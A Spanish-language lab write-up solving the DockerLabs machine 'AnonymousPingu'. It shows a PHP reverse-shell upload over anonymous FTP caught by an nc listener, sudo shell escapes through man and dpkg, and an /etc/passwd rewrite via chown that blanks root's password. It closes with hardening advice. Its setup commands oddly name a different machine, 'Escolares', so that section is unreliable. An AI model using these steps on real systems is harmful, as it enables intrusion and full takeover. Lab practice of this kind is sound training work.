Skip to content

AnonymousPingu

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina AnonymousPingu, desarrollada por El Pingüino de Mario y clasificada como fácil en la plataforma DockerLabs. El objetivo es exponer un análisis claro y técnicamente fundamentado que muestre:

  • Cómo se identificaron los vectores de ataque.
  • Qué vulnerabilidades reales se explotaron.
  • Qué mecanismos de escalada de privilegios eran posibles.
  • Cómo prevenir estos fallos en un entorno productivo.

La metodología aplicada se divide en tres fases principales:

  1. Reconocimiento: Análisis de servicios expuestos y descubrimiento de posibles puntos débiles.
  2. Explotación: Abuso de un FTP anónimo mal configurado para cargar archivos maliciosos.
  3. Escalada de privilegios: Uso de binarios con privilegios sudo para pivotar entre usuarios hasta obtener acceso root.

Todo el proceso se realizó exclusivamente dentro del entorno aislado de DockerLabs.


AtributoValor
NombreAnonymousPingu
AutorEl Pingüino de Mario
DificultadFácil
Fecha de creación29/04/2024
PlataformaDockerLabs

Descomprimir la máquina:

Ventana de terminal
unzip Escolares.zip

Iniciar el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh Escolares.tar

El script muestra la IP asignada, utilizada durante todo el proceso.

IP asignada


Ventana de terminal
mkdir -p Escolares/{content,exploits,nmap,gobuster,scripts}
cd Escolares

Una estructura organizada permite documentar correctamente cada paso y reproducir la metodología.


Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 21/tcp – FTP
  • 80/tcp – Servidor web

Puertos abiertos

La presencia de FTP abierto sugiere revisar autenticación anónima y permisos.


Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

gobuster scan

Rutas relevantes:

  • /index.php – Página principal Index

  • /upload – Carpeta pública con permisos de lectura ⚠️ Esto sugiere riesgo si FTP y el servidor web comparten directorio.


Escaneo específico:

Ventana de terminal
nmap -p21 -sCV 172.17.0.2

scan result

El resultado muestra:

  • FTP con acceso anónimo habilitado
  • Capacidad de listar y subir archivos
  • Directorio compartido con /upload del servidor web

Este es un fallo crítico: permite ejecutar código remoto si el servidor web interpreta archivos .php.


Primero creamos un archivo malicioso:

Ventana de terminal
revShell.php

Luego accedemos al FTP:

Ventana de terminal
ftp 172.17.0.2

Dentro del servicio, navegamos a /upload y subimos el archivo:

Ventana de terminal
put revShell.php

content of /upload

Antes de ejecutarlo, preparamos el listener:

Ventana de terminal
nc -nlvp 443

Finalmente, accedemos desde el navegador:

http://172.17.0.2/upload/revShell.php

¡Reversa recibida!

reverseshell


Comprobamos permisos sudo:

www-data sudo -l

El usuario www-data puede ejecutar man como pingu sin contraseña.

Esto permite escapar a shell:

Ventana de terminal
sudo -u pingu man man
!/bin/bash

Acceso obtenido:

pingu bash


Nuevamente:

pingu sudo -l

Podemos ejecutar dpkg como gladys.

Dentro de dpkg:

Ventana de terminal
sudo dpkg -l
!/bin/bash

Acceso obtenido:

gladys bash


Permisos sudo del usuario gladys:

sudo -l

chown puede ejecutarse como root sin contraseña. Esto permite manipular /etc/passwd y asignar una contraseña vacía a root.

Pasos:

Ventana de terminal
sudo /usr/bin/chown $(id -un):$(id -gn) /etc/passwd
sed 's/^root:[^:]*:/root::/' /etc/passwd > /tmp/passwd.tmp
cp /tmp/passwd.tmp /etc/passwd

Luego:

Ventana de terminal
su root

Acceso root:

user root


  • FTP anónimo habilitado ✅
  • Directorio web y FTP compartiendo ubicación ✅
  • Subida de archivos sin restricciones ✅
  • Falta de sanitización y bloqueo de ejecución PHP ✅
  • Múltiples binarios con permisos sudo sin contraseña (man, dpkg, chown) ✅
  • Escaladas de privilegios encadenadas por mala configuración ✅

  • Deshabilitar FTP anónimo.
  • Separar los directorios del servidor web y FTP.
  • Bloquear la ejecución de .php en directorios de subida.
  • Revisar y limitar binarios permitidos en sudoers.
  • Usar autenticación robusta y rotación de usuarios.
  • Implementar principios de mínimo privilegio.
  • Aplicar hardening al sistema y monitoreo de integridad.